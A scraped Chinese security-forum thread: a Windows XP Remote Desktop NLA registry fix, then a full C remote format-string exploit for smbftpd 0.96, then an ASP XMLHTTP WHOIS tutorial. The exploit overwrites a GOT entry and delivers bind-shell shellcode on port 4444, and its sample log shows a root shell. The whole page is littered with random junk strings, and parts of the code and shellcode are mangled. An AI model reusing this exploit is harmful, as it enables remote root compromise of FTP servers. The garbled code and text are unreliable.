返回列表 发帖

解决方法:远程计算机需要网络级别身份验证,而您的计算机不支持该验证

故障症状:当您使用Windows XP“远程桌面连接”工具去连接Windows Vistas或Windows Server 2008的远程桌面、终端服务时,出现上述故障。
4 |5 w8 I/ z9 a故障产生环境:远程桌面连接工具6.0以下版本,或者Windows XP Profressional SP1、SP2、SP32 \0 g" k0 K1 a% c
解决方法:
1 }9 |/ a# ^, L0 ?5 S; T1、请升级“远程桌面连接”工具最新6.1版本。# d+ I% X) V4 V: |( K
2、请把XP升级到最新SP3补丁包。3 r' _( f1 ^: [+ T, }: X
3、运行“regedit”打开注册表编辑器,进入 “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa”,双击右边栏中的 “Security Packages”,打开“编辑多字符串”对话框,在列表框光标处增加“tspkg”字符。   4 b* ]4 T- R! ]/ D; m# M7 F0 K
4、然后定位到 “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders”,双击右侧的“SecurityProviders”字符串,打开“编辑字符串”对话框,在数值末端中添加“, credssp.dll”,注意逗号后有一个英文的空格。  ! }5 j( C$ b( P# K9 s
5、退出注册表程序,重启计算机后故障排除。
+ I& G9 b, \" v; {* M" p重启系统后,然后再运行mstsc查看关于信息已经显示为支持网络级别身份验证了。8 r- G7 E* G  S  n
0 I! r1 k# E2 F$ j- W4 R
    有些文章写win2008/Vista不能用IP访问远程桌面,只能用机器名,是不对的。都是可以的。
) {% k2 H& b; N8 M  B! ?9 R* T" @" F. k% u1 J* M* Y
知识点:什么是网络级身份验证?8 {8 [* t9 w: s
    网络级身份验证 (NLA) 是一种新的身份验证方法,在您建立所有远程桌面连接之前完成用户身份验证,
& ~( f4 b8 }1 h! S并出现登录屏幕。 这是最安全的身份验证方法,有助于保护远程计算机避免黑客或恶意软件的攻击。NLA
8 i  |. h* x: y: a的优点是:( W' U; j5 k) q- w( u
    最初需要较少的远程计算机资源。验证用户之前,远程计算机使用有限的资源,而不是像以前版本那样
% _0 n/ S7 i) A! I1 o启动所有远程桌面连接。1 V( \! S7 C1 z/ M: h
    它通过降低拒绝服务攻击的风险帮助提供更好的安全性。(拒绝服务攻击试图限制或阻止访问Internet。)3 I0 {% M# N( w, N- e. i8 k
    使用远程计算机身份验证,从而帮助防止用户连接到设置为恶意目的的远程计算机

 

您可能还想看的主题:

新手来论坛学习

美国发明了网络数字大炮,可摧毁整个互联网

花旗支付注入漏洞

计算机犯罪司法解释出台:提供程序工具属犯罪

黑客基地VIP教程1-104课下载<本人求个师傅!要免费的!》

免费数据恢复软件(OO DiskRecovery)下载v7.1.183汉化版

SQL注入是什么情况?

学什么都好,不要学人当黑客

Apache服务器安全防范

如何攻站

1

评分人数

非安全中国网免责声明 1、本帖所有言论和图片纯属发表者个人意见,与本站立场无关;
2、本话题由:haimimi008发表,本帖发表者haimimi008符合《关于版权及免责声明》6大管理制度规定,享有相关权利;
3、其他单位或个人使用、转载或引用本帖时必须征得发表者haimimi008和本站的同意;
4、本帖作品部分转载自其它媒体并在本站发布,转载的目的在于传递更多信息,并不代表本站赞同其观点和对其真实性负责;
5、本帖如有侵犯到贵站或个人版权问题,请立即告知本站,本站将及时予与删除,并致以最深的歉意;
6、本站管理员和版主有权不事先通知发帖者而删除本文。

smbftpd 0.96 远程格式化字符串 Exploit
/** smbftpd 0.96 Proof of concept* tested with smbftpd 0.96 compiled with gcc 3.3.6** 1. write jumpcode to `BSS`*      mov dx, 0x1234*      pop eax*      cmp ax, dx*      jne $-4*      jmp esp* 2. overwrite a GOT entry with the addr to `BSS` &amp; send shellcode**  jerry:~> ./bleh -h localhost*  [+] GOT: 0x80591d8 - .bss (jmpcode): 0x805a791*  [+] localhost:21 (user: anonymous pass: )*  [+] PASV*  [+] writing jumpcode*  [+] PASV*  [+] overwriting GOT entry and sending shellcode*  jerry:~> nc localhost 4444*  id*  uid=0(root) gid=0(root) euid=1002(ftp) egid=1002(ftp) groups=1002(ftp)***  - Jerry Illikainen <jerry@debork.se>**/#include <stdio.h>#include <string.h>#include <sys/types.h>#include <sys/socket.h>#include <netinet/in.h>#include <netdb.h>#include <stdarg.h>#include <unistd.h>#include <stdlib.h>#define GOT 0x080591d8 // GOT entry for chdir#define BSS 0x0805a791 // this is where the jumpcode will be written#define DEBUG(d) if (debug) d;#define MAXPATH 255#define BUFSIZE 512unsigned int debug = 0;/* bindshell (port 4444) from metasploit.com* restricted chars = 0x00 0x0a 0x0d */unsigned char shellcode[] ="x31xc9x83xe9xebxd9xeexd9x74x24xf4x5bx81x73x13xa3""xefxd7xdbx83xebxfcxe2xf4x92x34x84x98xf0x85xd5xb1""xc5xb7x4ex52x42x22x57x4dxe0xbdxb1xb3xb2xb3xb1x88""x2ax0exbdxbdxfbxbfx86x8dx2ax0ex1ax5bx13x89x06x38""x6ex6fx85x89xf5xacx5ex3ax13x89x1ax5bx30x85xd5x82""x13xd0x1ax5bxeax96x2ex6bxa8xbdxbfxf4x8cx9cxbfxb3""x8cx8dxbexb5x2ax0cx85x88x2ax0ex1ax5b";void usage (char *arg){printf("%s [options]
" i- }  c  S) u" S( P8 t"   "         -h <host>2 z' x3 Q/ v% E4 H  i
"   "         -p <port>  \  z6 d+ r  H. X: _
"   "         -u <usernmae - default anonymous>0 P' S3 x: f1 \! A1 ?7 ]
"   "         -P <password - default none>' P- J1 m; r4 c

: F# c3 m" w9 N", arg);exit(1);}int sock (int port, char *host){struct hostent *h;struct sockaddr_in addr;int s;if ((h = gethostbyname(host)) == NULL){perror("[!] gethostbyname");exit(1);}if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){perror("[!] socket");exit(1);}addr.sin_family = AF_INET;addr.sin_port = htons(port);addr.sin_addr = *((struct in_addr *)h->h_addr);memset(addr.sin_zero, '', sizeof addr.sin_zero);if (connect(s, (struct sockaddr *)&amp;addr, sizeof(struct sockaddr)) == -1){perror("[!] connect");exit(1);}return s;}char *s_send (int s, char *m, char *fmt, ...){static char buf[BUFSIZE];char str[BUFSIZE];ssize_t nb;va_list ap;va_start(ap, fmt);vsnprintf(str, BUFSIZE-1, fmt, ap);va_end(ap);if (send(s, str, strlen(str), 0) == -1){perror("[!] send");exit(1);}DEBUG(printf("send: %s
, W& L5 S/ V( ~$ p' q", str));for (;;){nb = recv(s, buf, BUFSIZE-1, 0);buf[nb-1] = '';if (m == NULL)return buf;else if (strstr(buf, m) != NULL)return buf;}}void fmt (int *jmpaddr, int *jmpc, int got, char mkd[][MAXPATH]){unsigned char a[4], b[4];char *dir = mkd[0];unsigned int i, offset = 1052, start = 256, base = 4;int *pa = (int *)jmpaddr[0], *pb = (int *)jmpc[0];for (i = 0; i <= 4; i++){a[0] = (int)pa >> 24;a[1] = ((int)pa &amp; 0xff0000) >> 16;a[2] = ((int)pa &amp; 0xff00) >> 8;a[3] = (int)pa &amp; 0xff;b[0] = (int)pb >> 24;b[1] = ((int)pb &amp; 0xff0000) >> 16;b[2] = ((int)pb &amp; 0xff00) >> 8;b[3] = (int)pb &amp; 0xff;snprintf(dir, MAXPATH-1,"%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c""%%%dx%%%d$n%%%dx%%%d$n%%%dx%%%d$n%%%dx%%%d$n",a[3], a[2], a[1], a[0],a[3] + 1, a[2], a[1], a[0],a[3] + 2, a[2], a[1], a[0],a[3] + 3, a[2], a[1], a[0],b[3] - 12 + start - (base + 4 - (base%4)), offset,b[2] - b[3] + start, offset + 1,b[1] - b[2] + start, offset + 2,b[0] - b[1] + start, offset + 3);dir = mkd;if (i < 3){pa = (int *)jmpaddr;pb = (int *)jmpc;} else {pa = (int *)got;pb = (int *)jmpaddr[0];}}}int main (int argc, char **argv){int s[2], c, port = 21, pasv[5];unsigned int i;char *host = NULL, *user = "anonymous", *pass = "", *tmp, *p;char mkd[5][MAXPATH], sc[2048];int got = GOT,jmpaddr[] = { BSS, BSS+4, BSS+8 },jmpc[] = {0x1234ba66, // mov dx, 0x1234   - 66 ba 34 120xc2396658, // pop eax          - 580xe4fffa75  // cmp ax,dx        - 66 39 c2                        // jne $-4          - 75 fa                        // jmp esp          - ff e4};while ((c = getopt(argc, argv, "h:p:u:P:?")) != -1){switch (c){case 'h':host = optarg;break;case 'p':port = atoi(optarg);break;case 'u':user = optarg;break;case 'P':pass = optarg;break;case '?':default:usage(argv[0]);break;}}if (host == NULL)usage(argv[0]);printf("[+] GOT: %p - .bss (jmpcode): %p
* M2 O; @% m* _2 D; ?4 C", (void *)got, (void *)jmpaddr[0]);fmt(jmpaddr, jmpc, got, mkd);printf("[+] %s:%d (user: %s pass: %s)
4 t" i% m, F, N- C8 [", host, port, user, pass);s[0] = sock(port, host);s_send(s[0], "331", "USER %s; m# k6 d$ m& Q2 f0 I& O4 m
", user);p = s_send(s[0], NULL, "PASS %s, v" W. _; e* k4 A$ h1 q
", pass);if (strstr(p, "230") == NULL){printf("[!] login failed
' {% C; [/ ^& R! x# r");exit(1);}p = s_send(s[0], NULL, "MKD %s
4 P. L: |/ K- m" Y* k% p! cMKD %s4 @9 x/ |' o0 x/ t& P# d
MKD %s
. z' A7 }6 S9 y3 Y", mkd[0], mkd[1], mkd[2]);if (strstr(p, "257") == NULL){printf("[!] couldn't make directories  D/ r# ~; c- c- {+ Z
");exit(1);}printf("[+] PASV5 {! F4 s& d5 A0 V* J
");p = s_send(s[0], "227", "PASV
1 W# {. K0 T1 a");if (strtok(p, ",") == NULL)exit(1);for (i = 0; i < 5; i++){if ((tmp = strtok(NULL, ",")) == NULL){printf("[!] aborting
, p; f' x7 \& Q! v$ Y% [& B");exit(1);}pasv = atoi(tmp);}s[1] = sock(pasv[3]*256+pasv[4], host);printf("[+] writing jumpcode4 s& E. n% ~2 L' g5 C8 V" L
");s_send(s[0], NULL, "NLST -R
7 m! I- [1 q! `; P7 \");s_send(s[0], NULL, "RMD %s
% h! K/ [& {- \RMD %s; W4 ]4 v4 e; P# s: [
RMD %s
6 o- ]3 k) O0 D", mkd[0], mkd[1], mkd[2]);close(s[1]);s_send(s[0], NULL, "MKD %s
3 S1 g) n( {1 P", mkd[3]);printf("[+] PASV/ j2 m8 ~6 N; p  @+ g
");p = s_send(s[0], "227", "PASV. u( ^. y; R) S
");if (strtok(p, ",") == NULL)exit(1);for (i = 0; i < 5; i++){if ((tmp = strtok(NULL, ",")) == NULL){printf("[!] aborting" i+ P! q" O& J
");exit(1);}pasv = atoi(tmp);}s[1] = sock(pasv[3]*256+pasv[4], host);memset(sc, 0x90, sizeof(sc)); // some nops before andmemcpy(sc+3, "x34x12", 2); // after the "mark"memcpy(sc+12, shellcode, sizeof(sc)-12);printf("[+] overwriting GOT entry and sending shellcode
( g. O1 }0 R. X) M. I0 M% I6 g3 W9 g
");s_send(s[0], NULL, "NLST -R%s, {2 u8 X1 c! F# ]# V# |
", sc);return 0;}
1 O2 _6 J8 r: O/ b
( t- ]2 T8 _. k; Z& R; _9 }8 W0 V0 r# t3 S
, o" N) Q6 D4 F
$ q& S$ C, b1 D" B
/ Y, c1 Y! y$ |
; K. R6 f- I$ `" k/ c( c
" M* g  ~. Q) v+ `
$ I6 j' c# D8 U1 i
5 B2 B9 R' g; m; {$ O
7 q; K6 H' o! o1 E) L( r
* n" L: t. R7 i- \; ^

5 E3 [! Q+ X' k. H
% L0 t2 U, ^0 n; @# {; p
7 P( J( ]8 f, k6 c, J6 @3 i7 l# _- p) M, N( s: o; g; @  o2 s* t. g- i
2 B1 |, U8 l; `$ i, L, K* ?8 l) f, ~

- F- Q" ?& r$ D& M3 |2 M0 [+ [% g1 f  p' F  i8 A; H5 O: J. S
公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

使用xmlhttp为网站增加域名查询功能
当我们准备建立一个Web站点时,就必须向域名登记机构申请一个Internet域名,因此,我们通常希望了解自己准备使用的域名是否已经被注册,这时,可以访问NIC站点http://www.nic.net,点击"whois"链接后输入需查询的域名,就可以得到我们需要的结果。

% m5 [% g1 E- |- q- p" e
( R" r5 {5 \, q5 [" Z% d
WHOIS服务器为 .com、.net 和 .org 的国际顶级域名的查询返回全部的 whois 数据,包括网站域名注册人、管理合约、联系方式(电话、电子邮件、地址)、帐单联络、技术支持和域名服务器信息,对于用户了解一个网站的基本情况很有帮助。在很多域名注册服务商的网站中,通常都有whois(域名查询)的高级服务,但个人网站因为不具备域名注册服务商的资格和数据,所以在一般条件下无法提供whois服务。 Chinaz.com

( P: V- V! K: H# E' q2 l6 D
其实,利用XMLHTTP协议,我们每个人都可以在自己的个人网站中提供域名详细情况查询(WHOIS)服务,本文介绍了如何使用ASP结合xmlhttp编程来实现这个功能。  

! C; D0 a  g# Z0 K+ d/ K
一、原理:  

4 ]) Y4 G* l' S) C& L
原理非常简单,域名的查询主要是基于RFC 954提供的WHOIS协议。在实现过程中,我们通过自己的WEB服务器访问NIC站点的WHOIS数据库服务器,从WHOIS数据库中查询我们所需要的内容,然后通过ASP组合成网页回送给客户端。  
2 O) X* D- T* S( z3 p; O' ~
同时,我们使用xmlHttp协议实现客户端网页无刷新效果以及向服务端提出检索WHOIS数据的要求。  

; r% e7 y7 F2 M% q/ {2 A% U. H2 \
具体流程为:客户端通过xmlhttp提出域名查询要求-->WEB服务器中的ASP侦听页接受请求后使用xmlhttp向WHOIS服务器发送检索命令-->WHOIS数据库执行查询操作,返回结果给我们自己的WEB服务器(html形式)-->WEB服务器接收到内容后,立即将结果传送给客户端->客户端浏览器使用vbscript过滤掉HTML多余部分,挑选出whois数据显示出来。
. T8 n! u( B( M( d# L
# f+ ]1 i9 U2 O3 l- b
二、ASP XmlHttp编程简述:  

4 E1 d8 C% A7 v# y- }- g
1、客户端html页面:

( H4 V0 z! L8 y& h/ g( Z
% ?5 p# H# @5 V
以下为引用的内容:<script language="vbscript"> Sub submit1_onmouseup '当点击“查询”按钮时触发;  Dim objXML, objXSL, objFSO,strFile, strFileName, strXSL,strURL,TheForm  Set TheForm = Document.wordfind  window.status="正在检索数据···"  strURL="dns.asp"  Set objXML = CreateObject("Microsoft.XMLHTTP") '创建MS的XMLHTTP组件;  stra = "submit=submit&amp;fqdn="&amp;TheForm.words.value  objXML.Open "post",strURL,false '采用Post提交方式;  objXML.setrequestheader "content-length",len(stra) Www~Chinaz~com
# K& ^  ?6 P3 N" w/ U: X* [
  objXML.setrequestheader "content-type","application/x-www-form-urlencoded"  objXML.send stra ' 发送信息  xmlGet = objXML.responseText '稍等片刻后,得到服务器端传回来的结果;  if instr(1,xmlGet,"This is not a valid .com .net .org .info or .biz domain  name",1)<1 and len(trim(xmlGet))>100 then    if instr(1,xmlGet,"This domain is available",1)<1 then     if instr(1,xmlGet,"Registrant:",1) then      strFind1 =instr(1,xmlGet,"Registrant:",1)    else      strFind1 = instr(1,xmlGet,"<pre><FONT face=""Verdana, Arial",1)+65

) ~1 y( T: E6 e# G
strFind2 = instr(1,xmlGet,"</FONT></pre>",1)     strFind4=strFind2-strFind1     sHTML = mid(xmlGet,strFind1,strFind4)     TheForm.comments.value="查询结果:"+chr(13)+chr(10)+sHTML     window.status="查询结果:该域名已被占用"   else    TheForm.comments.value="恭喜你,此域名可用!" Www^     window.status="查询结果:该域名仍然处于可用状态!"    end if  else   TheForm.comments.value= "无效的国际顶级域名!请输入以(.com .net .org .info or .biz)结尾的国际域名, 例如sun.com"   window.status="无效的国际顶级域名!请输入以(.com .net .org .info or .biz)结尾的国际域名, 例如CCTV.com"  end if  Set objXML = Nothing end sub </script>

8 R; X; A" Z4 P) u/ Q2 g/ f
<html><head><title>XMLHTTP之域名查询篇</title></head><body bgColor=#cccca3><form method="post" name=wordfind onsubmit="javascript:return false">请输入域名名称:<input type="text" value="cctv.com" name="words" size="69"><input type="submit" value="查询" id=Submit1 name=Submit1><TEXTAREA name=comments readonly rows=10 cols=76></TEXTAREA></form></body></html>  

. {5 [2 G6 S, A1 t$ J4 j
2、服务器端ASP程序: Chinaz.com

. j1 [4 {# r  ~
以下为引用的内容:<%dim xmlGet,objXML, objXSL, objFSO,strFile, strFileName, strXSL,strURL xmlGet="" if len(trim(Request.form("fqdn"))) > 1 then  strURL="http://www.domainbank.net/whoisresults_gen.cfm?show=1"   'WhoIS服务器的地址  Set objXML = CreateObject("Microsoft.XMLHTTP") '创建MS的XMLHTTP组件

9 L8 z$ {; s9 g- ?' ^
  stra = "submit=submit&amp;fqdn="&amp;trim(Request.form("fqdn"))  objXML.Open "post",strURL,false  objXML.setrequestheader "content-length",len(stra)  objXML.setrequestheader "content-type","application/x-www-form-urlencoded" Chinaz   objXML.send stra ' 发送信息到WhoIs数据库服务器;

9 l% @2 f% F9 H6 J, q1 ^
  xmlGet = objXML.responseText ' 取得域名服务器返回的信息  Set objXML = Nothing end if response.write xmlGet '返回结果给客户端%>  

. j6 u/ Z; O  E9 _4 |/ x
在上述过程中,可以发现我们自己的WEB服务器中的ASP程序其实只起到一个中间传递的作用,在实际应用中,也可以省去这个中间层,使用vbscript通过xmlhttp直接向WHOIS数据库发送和接收数据。不过这样的话,可能会因为IE中“通过(其它)域访问数据资源”被禁用(默认)而引起权限不够导致无法执行,所以该省去ASP中间层的方法并不太通用。

& }+ [9 N% I, R, V4 ]6 N( n

2 I7 k/ V( b3 x- T, U* s3 p# ?) U% K" ]
本程序在基于Windows2000平台的IIS5.0和IE6.0上运行通过。实际使用过程中,可以把上述代码拷贝到自己网页中,经过简单的页面编辑,就可在自己的网页中增加在页面无刷新情况下的域名查询功能了,初看上去,还真的有点象专业的域名注册服务商网站提供的服务了。

6 b7 `# e! S6 @4 f
1 t- r! I: i' K  ?
" y" b0 ?/ d- N' @
2 j* J1 P7 T$ G9 ~
! _+ M' f8 |3 e% _) t

. X" E  ^, S2 u* z- `3 |
- {: ]& F8 j# j( B4 G" c( n9 M) ]9 X  S" K  x, ~

" ]9 W& M/ H, u. Z) ]
( g( B! |( b+ @* z0 K+ r
5 z7 |+ H! Q* s3 }# ]" X3 ~$ F. H

, E2 r6 ?, R# u0 g" P4 `9 T. u8 G/ S

- m4 K0 J7 O& b, Y* m4 ^/ g) e0 w' {' b7 `  |4 @* Y2 C
- L: p. {, [& B& h, t
$ _! {+ d) ]9 T8 j( `
& c, W! S8 k' Q: O8 w
9 ]7 I6 S/ V1 r' `8 c/ i
公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

返回列表